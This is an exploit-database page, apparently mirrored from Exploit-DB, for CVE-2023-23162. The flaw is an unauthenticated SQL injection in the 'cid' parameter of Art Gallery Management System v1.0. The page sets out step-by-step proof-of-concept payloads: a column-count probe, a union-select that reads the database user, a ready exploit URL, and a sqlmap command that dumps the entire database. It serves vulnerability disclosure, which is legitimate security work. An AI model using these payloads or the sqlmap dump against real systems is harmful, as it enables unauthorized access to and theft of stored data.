Lucene search
K

Art Gallery Management System Project v1.0 - SQL Injection (cid) Unauthenticated

🗓️ 03 Apr 2023 00:00:00Reported by Rahul PatwariType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 177 Views

Art Gallery Management System v1.0 SQL Injection Unauthenticate

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Art Gallery Management System Project v1.0 - SQL Injection (Unauthenticated) Vulnerability
3 Apr 202300:00
zdt
ATTACKERKB
CVE-2023-23162
10 Feb 202320:15
attackerkb
Circl
CVE-2023-23162
3 Apr 202300:00
circl
CNNVD
Art Gallery Management System SQL注入漏洞
10 Feb 202300:00
cnnvd
CVE
CVE-2023-23162
10 Feb 202300:00
cve
Cvelist
CVE-2023-23162
10 Feb 202300:00
cvelist
NVD
CVE-2023-23162
10 Feb 202320:15
nvd
OSV
CVE-2023-23162
10 Feb 202320:15
osv
Packet Storm
Art Gallery Management System Project 1.0 SQL Injection
3 Apr 202300:00
packetstorm
Prion
Sql injection
10 Feb 202320:15
prion
Rows per page
# Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (cid) Unauthenticated
# Date: 20/01/2023
# Exploit Author: Rahul Patwari
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on:  XAMPP / Windows 10
# CVE :  CVE-2023-23162

# Proof of Concept:

# 1- Install The application Art Gallery Management System Project v1.0
# 2- Navigate to the product page by clicking on the "ART TYPE" by selecting any of the categories on the menu.
# 3- Now insert a single quote ( ' ) on "cid" parameter to break the database query, you will see the output is not shown.
# 4- Now inject the payload double single quote ('') in the "cid" parameter to merge the database query and after sending this request the SQL query is successfully performed and the product is shown in the output.
# 5- Now find how many columns are returned by the SQL query. this query will return 6 columns.
 Payload:cid=1%27order%20by%206%20--%20-&artname=Sculptures

# 6- for manually getting data from the database insert the below payload to see the user of the database.
 payload: cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs

# 7- for automation using "SQLMAP" intercept the request and copy this request to a file called "request.txt".
# 8- now to get all database data use the below "sqlmap" command to fetch all the data.
 Command: sqlmap -r request.txt -p cid --dump-all --batch

# Go to this url "
https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs
"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Apr 2023 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.03263
177